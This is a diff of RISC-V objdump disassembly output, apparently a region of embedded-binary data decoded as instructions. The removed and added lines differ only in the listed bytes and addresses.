-     6ae:	0500006b          	0x500006b
-     6b2:	5600                	lw	s0,40(a2)
-     6b4:	05000097          	auipc	ra,0x5000
-     6b8:	9500                	0x9500
-     6ba:	009d                	addi	ra,ra,7
-     6bc:	0500                	addi	s0,sp,640
-     6be:	4e00                	lw	s0,24(a2)
-     6c0:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     6c4:	4d00                	lw	s0,24(a0)
-     6c6:	0095                	addi	ra,ra,5
-     6c8:	0500                	addi	s0,sp,640
-     6ca:	ca00                	sw	s0,16(a2)
-     6cc:	0098                	addi	a4,sp,64
-     6ce:	0500                	addi	s0,sp,640
-     6d0:	4900                	lw	s0,16(a0)
-     6d2:	0009                	c.nop	2
-     6d4:	0500                	addi	s0,sp,640
-     6d6:	bf00                	fsd	fs0,56(a4)
-     6d8:	003d                	c.nop	15
-     6da:	0500                	addi	s0,sp,640
-     6dc:	3500                	fld	fs0,40(a0)
-     6de:	0022                	c.slli	zero,0x8
-     6e0:	0500                	addi	s0,sp,640
-     6e2:	4400                	lw	s0,8(s0)
-     6e4:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     6e8:	c800                	sw	s0,16(s0)
-     6ea:	008c                	addi	a1,sp,64
-     6ec:	0500                	addi	s0,sp,640
-     6ee:	3b00                	fld	fs0,48(a4)
-     6f0:	0021                	c.nop	8
-     6f2:	0500                	addi	s0,sp,640
-     6f4:	7900                	flw	fs0,48(a0)
-     6f6:	05000027          	0x5000027
-     6fa:	c800                	sw	s0,16(s0)
-     6fc:	0006                	c.slli	zero,0x1
-     6fe:	0500                	addi	s0,sp,640
-     700:	e900                	fsw	fs0,16(a0)
-     702:	002a                	c.slli	zero,0xa
-     704:	0500                	addi	s0,sp,640
-     706:	3900                	fld	fs0,48(a0)
-     708:	0094                	addi	a3,sp,64
-     70a:	0500                	addi	s0,sp,640
-     70c:	6700                	flw	fs0,8(a4)
-     70e:	0055                	c.nop	21
-     710:	0500                	addi	s0,sp,640
-     712:	6300                	flw	fs0,0(a4)
-     714:	05000007          	0x5000007
-     718:	8a00                	0x8a00
-     71a:	05000013          	li	zero,80
-     71e:	d800                	sw	s0,48(s0)
-     720:	0045                	c.nop	17
-     722:	0500                	addi	s0,sp,640
-     724:	1b00                	addi	s0,sp,432
-     726:	0060                	addi	s0,sp,12
-     728:	0500                	addi	s0,sp,640
-     72a:	ab00                	fsd	fs0,16(a4)
-     72c:	000c                	0xc
-     72e:	0500                	addi	s0,sp,640
-     730:	1c00                	addi	s0,sp,560
-     732:	0095                	addi	ra,ra,5
-     734:	0500                	addi	s0,sp,640
-     736:	4d00                	lw	s0,24(a0)
-     738:	009a                	slli	ra,ra,0x6
-     73a:	0500                	addi	s0,sp,640
-     73c:	7400                	flw	fs0,40(s0)
-     73e:	0500000b          	0x500000b
-     742:	5c00                	lw	s0,56(s0)
-     744:	0500003b          	0x500003b
-     748:	cf00                	sw	s0,24(a4)
-     74a:	009a                	slli	ra,ra,0x6
-     74c:	0500                	addi	s0,sp,640
-     74e:	1500                	addi	s0,sp,672
-     750:	009e                	slli	ra,ra,0x7
-     752:	0500                	addi	s0,sp,640
-     754:	b600                	fsd	fs0,40(a2)
-     756:	05000053          	0x5000053
-     75a:	2800                	fld	fs0,16(s0)
-     75c:	0021                	c.nop	8
-     75e:	0500                	addi	s0,sp,640
-     760:	fa00                	fsw	fs0,48(a2)
-     762:	0019                	c.nop	6
-     764:	0500                	addi	s0,sp,640
-     766:	7000                	flw	fs0,32(s0)
-     768:	0064                	addi	s1,sp,12
-     76a:	0500                	addi	s0,sp,640
-     76c:	6100                	flw	fs0,0(a0)
-     76e:	0092                	slli	ra,ra,0x4
-     770:	0500                	addi	s0,sp,640
-     772:	8500                	0x8500
-     774:	0500004b          	0x500004b
-     778:	8b00                	0x8b00
-     77a:	0095                	addi	ra,ra,5
-     77c:	0500                	addi	s0,sp,640
-     77e:	c200                	sw	s0,0(a2)
-     780:	007a                	c.slli	zero,0x1e
-     782:	0500                	addi	s0,sp,640
-     784:	0c00                	addi	s0,sp,528
-     786:	005c                	addi	a5,sp,4
-     788:	0500                	addi	s0,sp,640
-     78a:	8700                	0x8700
-     78c:	0096                	slli	ra,ra,0x5
-     78e:	0500                	addi	s0,sp,640
-     790:	8400                	0x8400
-     792:	006c                	addi	a1,sp,12
-     794:	0500                	addi	s0,sp,640
-     796:	de00                	sw	s0,56(a2)
-     798:	0500001b          	0x500001b
-     79c:	c400                	sw	s0,8(s0)
-     79e:	0001                	nop
-     7a0:	0500                	addi	s0,sp,640
-     7a2:	c200                	sw	s0,0(a2)
-     7a4:	0020                	addi	s0,sp,8
-     7a6:	0500                	addi	s0,sp,640
-     7a8:	a500                	fsd	fs0,8(a0)
-     7aa:	0014                	0x14
-     7ac:	0500                	addi	s0,sp,640
-     7ae:	4000                	lw	s0,0(s0)
-     7b0:	0006                	c.slli	zero,0x1
-     7b2:	0500                	addi	s0,sp,640
-     7b4:	c600                	sw	s0,8(a2)
-     7b6:	005a                	c.slli	zero,0x16
-     7b8:	0500                	addi	s0,sp,640
-     7ba:	e600                	fsw	fs0,8(a2)
-     7bc:	0500002b          	0x500002b
-     7c0:	c900                	sw	s0,16(a0)
-     7c2:	0024                	addi	s1,sp,8
-     7c4:	0500                	addi	s0,sp,640
-     7c6:	9200                	0x9200
-     7c8:	00a0                	addi	s0,sp,72
-     7ca:	0500                	addi	s0,sp,640
-     7cc:	f400                	fsw	fs0,40(s0)
-     7ce:	0079                	c.nop	30
-     7d0:	0500                	addi	s0,sp,640
-     7d2:	fd00                	fsw	fs0,56(a0)
-     7d4:	05000087          	0x5000087
-     7d8:	7000                	flw	fs0,32(s0)
-     7da:	000d                	c.nop	3
-     7dc:	0500                	addi	s0,sp,640
-     7de:	fc00                	fsw	fs0,56(s0)
-     7e0:	006c                	addi	a1,sp,12
-     7e2:	0500                	addi	s0,sp,640
-     7e4:	7e00                	flw	fs0,56(a2)
-     7e6:	001a                	c.slli	zero,0x6
-     7e8:	0500                	addi	s0,sp,640
-     7ea:	2900                	fld	fs0,16(a0)
-     7ec:	0092                	slli	ra,ra,0x4
-     7ee:	0500                	addi	s0,sp,640
-     7f0:	3700                	fld	fs0,40(a4)
-     7f2:	0068                	addi	a0,sp,12
-     7f4:	0500                	addi	s0,sp,640
-     7f6:	c000                	sw	s0,0(s0)
-     7f8:	0035                	c.nop	13
-     7fa:	0500                	addi	s0,sp,640
-     7fc:	af00                	fsd	fs0,24(a4)
-     7fe:	0080                	addi	s0,sp,64
-     800:	0500                	addi	s0,sp,640
-     802:	b000                	fsd	fs0,32(s0)
-     804:	0004                	0x4
-     806:	0500                	addi	s0,sp,640
-     808:	d200                	sw	s0,32(a2)
-     80a:	005c                	addi	a5,sp,4
-     80c:	0500                	addi	s0,sp,640
-     80e:	4300                	lw	s0,0(a4)
-     810:	0060                	addi	s0,sp,12
-     812:	0500                	addi	s0,sp,640
-     814:	8700                	0x8700
-     816:	05000087          	0x5000087
-     81a:	d900                	sw	s0,48(a0)
-     81c:	0094                	addi	a3,sp,64
-     81e:	0500                	addi	s0,sp,640
-     820:	af00                	fsd	fs0,24(a4)
-     822:	0500007b          	0x500007b
-     826:	6700                	flw	fs0,8(a4)
-     828:	0062                	c.slli	zero,0x18
-     82a:	0500                	addi	s0,sp,640
-     82c:	f800                	fsw	fs0,48(s0)
-     82e:	005a                	c.slli	zero,0x16
-     830:	0500                	addi	s0,sp,640
-     832:	b900                	fsd	fs0,48(a0)
-     834:	006c                	addi	a1,sp,12
-     836:	0500                	addi	s0,sp,640
-     838:	6800                	flw	fs0,16(s0)
-     83a:	0099                	addi	ra,ra,6
-     83c:	0500                	addi	s0,sp,640
-     83e:	0500                	addi	s0,sp,640
-     840:	0069                	c.nop	26
-     842:	0500                	addi	s0,sp,640
-     844:	fa00                	fsw	fs0,48(a2)
-     846:	002e                	c.slli	zero,0xb
-     848:	0500                	addi	s0,sp,640
-     84a:	b000                	fsd	fs0,32(s0)
-     84c:	0500000f          	fence	ow,unknown
-     850:	5e00                	lw	s0,56(a2)
-     852:	05000037          	lui	zero,0x5000
-     856:	3700                	fld	fs0,40(a4)
-     858:	0015                	c.nop	5
-     85a:	0500                	addi	s0,sp,640
-     85c:	8100                	0x8100
-     85e:	0009                	c.nop	2
-     860:	0500                	addi	s0,sp,640
-     862:	7300                	flw	fs0,32(a4)
-     864:	05000073          	0x5000073
-     868:	5900                	lw	s0,48(a0)
-     86a:	001c                	0x1c
-     86c:	0500                	addi	s0,sp,640
-     86e:	b000                	fsd	fs0,32(s0)
-     870:	0098                	addi	a4,sp,64
-     872:	0500                	addi	s0,sp,640
-     874:	0100                	addi	s0,sp,128
-     876:	0500006f          	j	8c6 <__stack_size+0xc6>
-     87a:	3e00                	fld	fs0,56(a2)
-     87c:	0066                	c.slli	zero,0x19
-     87e:	0500                	addi	s0,sp,640
-     880:	8b00                	0x8b00
-     882:	000e                	c.slli	zero,0x3
-     884:	0500                	addi	s0,sp,640
-     886:	9e00                	0x9e00
-     888:	0054                	addi	a3,sp,4
-     88a:	0500                	addi	s0,sp,640
-     88c:	d400                	sw	s0,40(s0)
-     88e:	05000073          	0x5000073
-     892:	e700                	fsw	fs0,8(a4)
-     894:	0049                	c.nop	18
-     896:	0500                	addi	s0,sp,640
-     898:	6000                	flw	fs0,0(s0)
-     89a:	0084                	addi	s1,sp,64
-     89c:	0500                	addi	s0,sp,640
-     89e:	d300                	sw	s0,32(a4)
-     8a0:	0090                	addi	a2,sp,64
-     8a2:	0500                	addi	s0,sp,640
-     8a4:	5700                	lw	s0,40(a4)
-     8a6:	0034                	addi	a3,sp,8
-     8a8:	0500                	addi	s0,sp,640
-     8aa:	d500                	sw	s0,40(a0)
-     8ac:	0021                	c.nop	8
-     8ae:	0500                	addi	s0,sp,640
-     8b0:	f000                	fsw	fs0,32(s0)
-     8b2:	0082                	c.slli64	ra
-     8b4:	0500                	addi	s0,sp,640
-     8b6:	dd00                	sw	s0,56(a0)
-     8b8:	0008                	0x8
-     8ba:	0500                	addi	s0,sp,640
-     8bc:	ae00                	fsd	fs0,24(a2)
-     8be:	0500001b          	0x500001b
-     8c2:	af00                	fsd	fs0,24(a4)
-     8c4:	0010                	0x10
-     8c6:	0500                	addi	s0,sp,640
-     8c8:	d900                	sw	s0,48(a0)
-     8ca:	0036                	c.slli	zero,0xd
-     8cc:	0500                	addi	s0,sp,640
-     8ce:	8e00                	0x8e00
-     8d0:	0072                	c.slli	zero,0x1c
-     8d2:	0500                	addi	s0,sp,640
-     8d4:	8500                	0x8500
-     8d6:	0085                	addi	ra,ra,1
-     8d8:	0500                	addi	s0,sp,640
-     8da:	8800                	0x8800
-     8dc:	008a                	slli	ra,ra,0x2
-     8de:	0500                	addi	s0,sp,640
-     8e0:	e900                	fsw	fs0,16(a0)
-     8e2:	05000017          	auipc	zero,0x5000
-     8e6:	6500                	flw	fs0,8(a0)
-     8e8:	0021                	c.nop	8
+     6a6:	0098                	addi	a4,sp,64
+     6a8:	0500                	addi	s0,sp,640
+     6aa:	ea00                	fsw	fs0,16(a2)
+     6ac:	009d                	addi	ra,ra,7
+     6ae:	0500                	addi	s0,sp,640
+     6b0:	ff00                	fsw	fs0,56(a4)
+     6b2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     6b6:	fc00                	fsw	fs0,56(s0)
+     6b8:	0095                	addi	ra,ra,5
+     6ba:	0500                	addi	s0,sp,640
+     6bc:	6d00                	flw	fs0,24(a0)
+     6be:	0099                	addi	ra,ra,6
+     6c0:	0500                	addi	s0,sp,640
+     6c2:	f500                	fsw	fs0,40(a0)
+     6c4:	0008                	0x8
+     6c6:	0500                	addi	s0,sp,640
+     6c8:	ca00                	sw	s0,16(a2)
+     6ca:	003e                	c.slli	zero,0xf
+     6cc:	0500                	addi	s0,sp,640
+     6ce:	f000                	fsw	fs0,32(s0)
+     6d0:	0099                	addi	ra,ra,6
+     6d2:	0500                	addi	s0,sp,640
+     6d4:	ca00                	sw	s0,16(a2)
+     6d6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     6da:	7b00                	flw	fs0,48(a4)
+     6dc:	008d                	addi	ra,ra,3
+     6de:	0500                	addi	s0,sp,640
+     6e0:	b300                	fsd	fs0,32(a4)
+     6e2:	0021                	c.nop	8
+     6e4:	0500                	addi	s0,sp,640
+     6e6:	3d00                	fld	fs0,56(a0)
+     6e8:	0028                	addi	a0,sp,8
+     6ea:	0500                	addi	s0,sp,640
+     6ec:	3e00                	fld	fs0,56(a2)
+     6ee:	0006                	c.slli	zero,0x1
+     6f0:	0500                	addi	s0,sp,640
+     6f2:	b400                	fsd	fs0,40(s0)
+     6f4:	0500002b          	0x500002b
+     6f8:	e800                	fsw	fs0,16(s0)
+     6fa:	0094                	addi	a3,sp,64
+     6fc:	0500                	addi	s0,sp,640
+     6fe:	8000                	0x8000
+     700:	0056                	c.slli	zero,0x15
+     702:	0500                	addi	s0,sp,640
+     704:	2300                	fld	fs0,0(a4)
+     706:	05000007          	0x5000007
+     70a:	dd00                	sw	s0,56(a0)
+     70c:	0012                	c.slli	zero,0x4
+     70e:	0500                	addi	s0,sp,640
+     710:	e500                	fsw	fs0,8(a0)
+     712:	0046                	c.slli	zero,0x11
+     714:	0500                	addi	s0,sp,640
+     716:	1800                	addi	s0,sp,48
+     718:	0061                	c.nop	24
+     71a:	0500                	addi	s0,sp,640
+     71c:	3900                	fld	fs0,48(a0)
+     71e:	000c                	0xc
+     720:	0500                	addi	s0,sp,640
+     722:	cb00                	sw	s0,16(a4)
+     724:	0095                	addi	ra,ra,5
+     726:	0500                	addi	s0,sp,640
+     728:	fb00                	fsw	fs0,48(a4)
+     72a:	009a                	slli	ra,ra,0x6
+     72c:	0500                	addi	s0,sp,640
+     72e:	fc00                	fsw	fs0,56(s0)
+     730:	000a                	c.slli	zero,0x2
+     732:	0500                	addi	s0,sp,640
+     734:	6900                	flw	fs0,16(a0)
+     736:	003c                	addi	a5,sp,8
+     738:	0500                	addi	s0,sp,640
+     73a:	4c00                	lw	s0,24(s0)
+     73c:	0500009b          	0x500009b
+     740:	7700                	flw	fs0,40(a4)
+     742:	009e                	slli	ra,ra,0x7
+     744:	0500                	addi	s0,sp,640
+     746:	0d00                	addi	s0,sp,656
+     748:	0055                	c.nop	21
+     74a:	0500                	addi	s0,sp,640
+     74c:	a000                	fsd	fs0,0(s0)
+     74e:	0021                	c.nop	8
+     750:	0500                	addi	s0,sp,640
+     752:	4900                	lw	s0,16(a0)
+     754:	0019                	c.nop	6
+     756:	0500                	addi	s0,sp,640
+     758:	3300                	fld	fs0,32(a4)
+     75a:	0065                	c.nop	25
+     75c:	0500                	addi	s0,sp,640
+     75e:	fd00                	fsw	fs0,56(a0)
+     760:	0092                	slli	ra,ra,0x4
+     762:	0500                	addi	s0,sp,640
+     764:	c400                	sw	s0,8(s0)
+     766:	004c                	addi	a1,sp,4
+     768:	0500                	addi	s0,sp,640
+     76a:	3a00                	fld	fs0,48(a2)
+     76c:	0096                	slli	ra,ra,0x5
+     76e:	0500                	addi	s0,sp,640
+     770:	3b00                	fld	fs0,48(a4)
+     772:	0500007b          	0x500007b
+     776:	1600                	addi	s0,sp,800
+     778:	005d                	c.nop	23
+     77a:	0500                	addi	s0,sp,640
+     77c:	3600                	fld	fs0,40(a2)
+     77e:	05000097          	auipc	ra,0x5000
+     782:	2200                	fld	fs0,0(a2)
+     784:	006d                	c.nop	27
+     786:	0500                	addi	s0,sp,640
+     788:	1700                	addi	s0,sp,928
+     78a:	0500001b          	0x500001b
+     78e:	9900                	0x9900
+     790:	0001                	nop
+     792:	0500                	addi	s0,sp,640
+     794:	4800                	lw	s0,16(s0)
+     796:	0021                	c.nop	8
+     798:	0500                	addi	s0,sp,640
+     79a:	0c00                	addi	s0,sp,528
+     79c:	0014                	0x14
+     79e:	0500                	addi	s0,sp,640
+     7a0:	b600                	fsd	fs0,40(a2)
+     7a2:	0005                	c.nop	1
+     7a4:	0500                	addi	s0,sp,640
+     7a6:	e900                	fsw	fs0,16(a0)
+     7a8:	0500005b          	0x500005b
+     7ac:	b100                	fsd	fs0,32(a0)
+     7ae:	002c                	addi	a1,sp,8
+     7b0:	0500                	addi	s0,sp,640
+     7b2:	8200                	0x8200
+     7b4:	0025                	c.nop	9
+     7b6:	0500                	addi	s0,sp,640
+     7b8:	be00                	fsd	fs0,56(a2)
+     7ba:	00a0                	addi	s0,sp,72
+     7bc:	0500                	addi	s0,sp,640
+     7be:	6d00                	flw	fs0,24(a0)
+     7c0:	007a                	c.slli	zero,0x1e
+     7c2:	0500                	addi	s0,sp,640
+     7c4:	a000                	fsd	fs0,0(s0)
+     7c6:	0088                	addi	a0,sp,64
+     7c8:	0500                	addi	s0,sp,640
+     7ca:	0900                	addi	s0,sp,144
+     7cc:	000d                	c.nop	3
+     7ce:	0500                	addi	s0,sp,640
+     7d0:	9a00                	0x9a00
+     7d2:	006d                	c.nop	27
+     7d4:	0500                	addi	s0,sp,640
+     7d6:	6500                	flw	fs0,8(a0)
+     7d8:	000d                	c.nop	3
+     7da:	0500                	addi	s0,sp,640
+     7dc:	d000                	sw	s0,32(s0)
+     7de:	0092                	slli	ra,ra,0x4
+     7e0:	0500                	addi	s0,sp,640
+     7e2:	f400                	fsw	fs0,40(s0)
+     7e4:	0068                	addi	a0,sp,12
+     7e6:	0500                	addi	s0,sp,640
+     7e8:	8c00                	0x8c00
+     7ea:	0036                	c.slli	zero,0xd
+     7ec:	0500                	addi	s0,sp,640
+     7ee:	3200                	fld	fs0,32(a2)
+     7f0:	0081                	addi	ra,ra,0
+     7f2:	0500                	addi	s0,sp,640
+     7f4:	3000                	fld	fs0,32(s0)
+     7f6:	0004                	0x4
+     7f8:	0500                	addi	s0,sp,640
+     7fa:	d200                	sw	s0,32(a2)
+     7fc:	005d                	c.nop	23
+     7fe:	0500                	addi	s0,sp,640
+     800:	4000                	lw	s0,0(s0)
+     802:	0061                	c.nop	24
+     804:	0500                	addi	s0,sp,640
+     806:	2a00                	fld	fs0,16(a2)
+     808:	0088                	addi	a0,sp,64
+     80a:	0500                	addi	s0,sp,640
+     80c:	8800                	0x8800
+     80e:	0095                	addi	ra,ra,5
+     810:	0500                	addi	s0,sp,640
+     812:	2200                	fld	fs0,0(a2)
+     814:	007c                	addi	a5,sp,12
+     816:	0500                	addi	s0,sp,640
+     818:	3200                	fld	fs0,32(a2)
+     81a:	05000063          	beq	zero,a6,85a <__stack_size+0x5a>
+     81e:	1b00                	addi	s0,sp,432
+     820:	005c                	addi	a5,sp,4
+     822:	0500                	addi	s0,sp,640
+     824:	5700                	lw	s0,40(a4)
+     826:	006d                	c.nop	27
+     828:	0500                	addi	s0,sp,640
+     82a:	1600                	addi	s0,sp,800
+     82c:	009a                	slli	ra,ra,0x6
+     82e:	0500                	addi	s0,sp,640
+     830:	c200                	sw	s0,0(a2)
+     832:	0069                	c.nop	26
+     834:	0500                	addi	s0,sp,640
+     836:	ee00                	fsw	fs0,24(a2)
+     838:	0500002f          	0x500002f
+     83c:	6800                	flw	fs0,16(s0)
+     83e:	0500000f          	fence	ow,unknown
+     842:	2c00                	fld	fs0,24(s0)
+     844:	0038                	addi	a4,sp,8
+     846:	0500                	addi	s0,sp,640
+     848:	9e00                	0x9e00
+     84a:	0014                	0x14
+     84c:	0500                	addi	s0,sp,640
+     84e:	2d00                	fld	fs0,24(a0)
+     850:	0009                	c.nop	2
+     852:	0500                	addi	s0,sp,640
+     854:	0e00                	addi	s0,sp,784
+     856:	0074                	addi	a3,sp,12
+     858:	0500                	addi	s0,sp,640
+     85a:	9200                	0x9200
+     85c:	0500001b          	0x500001b
+     860:	5300                	lw	s0,32(a4)
+     862:	0099                	addi	ra,ra,6
+     864:	0500                	addi	s0,sp,640
+     866:	9a00                	0x9a00
+     868:	0500006f          	j	8b8 <__stack_size+0xb8>
+     86c:	c500                	sw	s0,8(a0)
+     86e:	0066                	c.slli	zero,0x19
+     870:	0500                	addi	s0,sp,640
+     872:	4300                	lw	s0,0(a4)
+     874:	000e                	c.slli	zero,0x3
+     876:	0500                	addi	s0,sp,640
+     878:	b700                	fsd	fs0,40(a4)
+     87a:	0055                	c.nop	21
+     87c:	0500                	addi	s0,sp,640
+     87e:	6f00                	flw	fs0,24(a4)
+     880:	0074                	addi	a3,sp,12
+     882:	0500                	addi	s0,sp,640
+     884:	2600                	fld	fs0,8(a2)
+     886:	0500004b          	0x500004b
+     88a:	e600                	fsw	fs0,8(a2)
+     88c:	0084                	addi	s1,sp,64
+     88e:	0500                	addi	s0,sp,640
+     890:	9800                	0x9800
+     892:	0091                	addi	ra,ra,4
+     894:	0500                	addi	s0,sp,640
+     896:	3700                	fld	fs0,40(a4)
+     898:	0035                	c.nop	13
+     89a:	0500                	addi	s0,sp,640
+     89c:	5d00                	lw	s0,56(a0)
+     89e:	0022                	c.slli	zero,0x8
+     8a0:	0500                	addi	s0,sp,640
+     8a2:	7600                	flw	fs0,40(a2)
+     8a4:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     8a8:	a600                	fsd	fs0,8(a2)
+     8aa:	0038                	addi	a4,sp,8
+     8ac:	0500                	addi	s0,sp,640
+     8ae:	e700                	fsw	fs0,8(a4)
+     8b0:	001a                	c.slli	zero,0x6
+     8b2:	0500                	addi	s0,sp,640
+     8b4:	6400                	flw	fs0,8(s0)
+     8b6:	0010                	0x10
+     8b8:	0500                	addi	s0,sp,640
+     8ba:	a700                	fsd	fs0,8(a4)
+     8bc:	05000037          	lui	zero,0x5000
+     8c0:	2900                	fld	fs0,16(a0)
+     8c2:	05000073          	0x5000073
+     8c6:	0100                	addi	s0,sp,128
+     8c8:	0086                	slli	ra,ra,0x1
+     8ca:	0500                	addi	s0,sp,640
+     8cc:	2b00                	fld	fs0,16(a4)
+     8ce:	0500008b          	0x500008b
+     8d2:	3800                	fld	fs0,48(s0)
+     8d4:	05000017          	auipc	zero,0x5000
+     8d8:	ed00                	fsw	fs0,24(a0)
+     8da:	0021                	c.nop	8
+     8dc:	0500                	addi	s0,sp,640
+     8de:	fd00                	fsw	fs0,56(a0)
+     8e0:	0061                	c.nop	24
+     8e2:	0500                	addi	s0,sp,640
+     8e4:	7900                	flw	fs0,48(a0)
+     8e6:	05000017          	auipc	zero,0x5000
      8ea:	0500                	addi	s0,sp,640
-     8ec:	0000                	unimp
-     8ee:	0061                	c.nop	24
-     8f0:	0500                	addi	s0,sp,640
-     8f2:	2a00                	fld	fs0,16(a2)
-     8f4:	0018                	0x18
-     8f6:	0500                	addi	s0,sp,640
-     8f8:	5200                	lw	s0,32(a2)
-     8fa:	0500008b          	0x500008b
-     8fe:	8600                	0x8600
-     900:	006d                	c.nop	27
-     902:	0500                	addi	s0,sp,640
-     904:	0f00                	addi	s0,sp,912
-     906:	0059                	c.nop	22
-     908:	0500                	addi	s0,sp,640
-     90a:	e000                	fsw	fs0,0(s0)
-     90c:	008c                	addi	a1,sp,64
-     90e:	0500                	addi	s0,sp,640
-     910:	f400                	fsw	fs0,40(s0)
-     912:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     916:	5500                	lw	s0,40(a0)
-     918:	0069                	c.nop	26
-     91a:	0500                	addi	s0,sp,640
-     91c:	bf00                	fsd	fs0,56(a4)
-     91e:	0500002b          	0x500002b
-     922:	6d00                	flw	fs0,24(a0)
-     924:	0078                	addi	a4,sp,12
-     926:	0500                	addi	s0,sp,640
-     928:	9700                	0x9700
-     92a:	0028                	addi	a0,sp,8
-     92c:	0500                	addi	s0,sp,640
-     92e:	a500                	fsd	fs0,8(a0)
-     930:	0040                	addi	s0,sp,4
-     932:	0500                	addi	s0,sp,640
-     934:	8800                	0x8800
-     936:	004a                	c.slli	zero,0x12
-     938:	0500                	addi	s0,sp,640
-     93a:	3200                	fld	fs0,32(a2)
-     93c:	05000073          	0x5000073
-     940:	1300                	addi	s0,sp,416
-     942:	00a1                	addi	ra,ra,8
-     944:	0500                	addi	s0,sp,640
-     946:	1c00                	addi	s0,sp,560
-     948:	0071                	c.nop	28
-     94a:	0500                	addi	s0,sp,640
-     94c:	6f00                	flw	fs0,24(a4)
-     94e:	0056                	c.slli	zero,0x15
-     950:	0500                	addi	s0,sp,640
-     952:	b800                	fsd	fs0,48(s0)
-     954:	0000                	unimp
-     956:	0500                	addi	s0,sp,640
-     958:	3b00                	fld	fs0,48(a4)
-     95a:	005d                	c.nop	23
-     95c:	0500                	addi	s0,sp,640
-     95e:	7c00                	flw	fs0,56(s0)
-     960:	001e                	c.slli	zero,0x7
-     962:	0500                	addi	s0,sp,640
-     964:	1800                	addi	s0,sp,48
-     966:	0061                	c.nop	24
-     968:	0500                	addi	s0,sp,640
-     96a:	2c00                	fld	fs0,24(s0)
-     96c:	0500003b          	0x500003b
-     970:	0500                	addi	s0,sp,640
-     972:	007f                	0x7f
-     974:	0500                	addi	s0,sp,640
-     976:	7600                	flw	fs0,40(a2)
-     978:	0076                	c.slli	zero,0x1d
-     97a:	0500                	addi	s0,sp,640
-     97c:	b500                	fsd	fs0,40(a0)
-     97e:	0090                	addi	a2,sp,64
-     980:	0500                	addi	s0,sp,640
-     982:	de00                	sw	s0,56(a2)
-     984:	0060                	addi	s0,sp,12
-     986:	0500                	addi	s0,sp,640
-     988:	0700                	addi	s0,sp,896
-     98a:	05000037          	lui	zero,0x5000
-     98e:	bc00                	fsd	fs0,56(s0)
-     990:	0089                	addi	ra,ra,2
-     992:	0500                	addi	s0,sp,640
-     994:	5400                	lw	s0,40(s0)
-     996:	0065                	c.nop	25
-     998:	0500                	addi	s0,sp,640
-     99a:	b500                	fsd	fs0,40(a0)
-     99c:	005c                	addi	a5,sp,4
-     99e:	0500                	addi	s0,sp,640
-     9a0:	8200                	0x8200
-     9a2:	0038                	addi	a4,sp,8
-     9a4:	0500                	addi	s0,sp,640
-     9a6:	3100                	fld	fs0,32(a0)
-     9a8:	006a                	c.slli	zero,0x1a
-     9aa:	0500                	addi	s0,sp,640
-     9ac:	3400                	fld	fs0,40(s0)
-     9ae:	0024                	addi	s1,sp,8
-     9b0:	0500                	addi	s0,sp,640
-     9b2:	0200                	addi	s0,sp,256
-     9b4:	005a                	c.slli	zero,0x16
-     9b6:	0500                	addi	s0,sp,640
-     9b8:	a700                	fsd	fs0,8(a4)
-     9ba:	0500003b          	0x500003b
-     9be:	c700                	sw	s0,8(a4)
-     9c0:	0500005b          	0x500005b
-     9c4:	e800                	fsw	fs0,16(s0)
-     9c6:	0031                	c.nop	12
-     9c8:	0500                	addi	s0,sp,640
-     9ca:	0500                	addi	s0,sp,640
-     9cc:	004a                	c.slli	zero,0x12
-     9ce:	0500                	addi	s0,sp,640
-     9d0:	f000                	fsw	fs0,32(s0)
-     9d2:	0089                	addi	ra,ra,2
-     9d4:	0500                	addi	s0,sp,640
-     9d6:	c200                	sw	s0,0(a2)
-     9d8:	0500006f          	j	a28 <__stack_size+0x228>
-     9dc:	3500                	fld	fs0,40(a0)
-     9de:	0078                	addi	a4,sp,12
-     9e0:	0500                	addi	s0,sp,640
-     9e2:	af00                	fsd	fs0,24(a4)
-     9e4:	0036                	c.slli	zero,0xd
-     9e6:	0500                	addi	s0,sp,640
-     9e8:	ee00                	fsw	fs0,24(a2)
-     9ea:	0095                	addi	ra,ra,5
-     9ec:	0500                	addi	s0,sp,640
-     9ee:	4b00                	lw	s0,16(a4)
-     9f0:	0500001b          	0x500001b
-     9f4:	a600                	fsd	fs0,8(a2)
-     9f6:	05000033          	0x5000033
-     9fa:	8200                	0x8200
-     9fc:	05000093          	li	ra,80
-     a00:	ae00                	fsd	fs0,24(a2)
-     a02:	0500005b          	0x500005b
-     a06:	5500                	lw	s0,40(a0)
-     a08:	000c                	0xc
-     a0a:	0500                	addi	s0,sp,640
-     a0c:	a500                	fsd	fs0,8(a0)
-     a0e:	00000007          	0x7
-     a12:	0004                	0x4
-     a14:	0500                	addi	s0,sp,640
-     a16:	7704                	flw	fs1,40(a4)
-     a18:	0044                	addi	s1,sp,4
-     a1a:	0500                	addi	s0,sp,640
-     a1c:	fd06                	fsw	ft1,184(sp)
-     a1e:	009d                	addi	ra,ra,7
-     a20:	0500                	addi	s0,sp,640
-     a22:	00458b07          	0x458b07
-     a26:	0500                	addi	s0,sp,640
-     a28:	1508                	addi	a0,sp,672
-     a2a:	002c                	addi	a1,sp,8
-     a2c:	0500                	addi	s0,sp,640
-     a2e:	6e09                	lui	t3,0x2
-     a30:	0034                	addi	a3,sp,8
-     a32:	0000                	unimp
-     a34:	0004                	0x4
-     a36:	0500                	addi	s0,sp,640
-     a38:	a212                	fsd	ft4,256(sp)
-     a3a:	0091                	addi	ra,ra,4
-     a3c:	0500                	addi	s0,sp,640
-     a3e:	1315                	addi	t1,t1,-27
-     a40:	0078                	addi	a4,sp,12
-     a42:	0500                	addi	s0,sp,640
-     a44:	0418                	addi	a4,sp,512
-     a46:	0025                	c.nop	9
-     a48:	0500                	addi	s0,sp,640
-     a4a:	0066821b          	0x66821b
-     a4e:	0500                	addi	s0,sp,640
-     a50:	000cc22b          	0xcc22b
-     a54:	0500                	addi	s0,sp,640
-     a56:	4035                	c.li	zero,13
-     a58:	0500006f          	j	aa8 <__stack_size+0x2a8>
-     a5c:	443c                	lw	a5,72(s0)
-     a5e:	0042                	c.slli	zero,0x10
-     a60:	0500                	addi	s0,sp,640
-     a62:	0069893f a9450500 	0xa94505000069893f
-     a6a:	007e                	c.slli	zero,0x1f
-     a6c:	0500                	addi	s0,sp,640
-     a6e:	1e48                	addi	a0,sp,820
-     a70:	05000097          	auipc	ra,0x5000
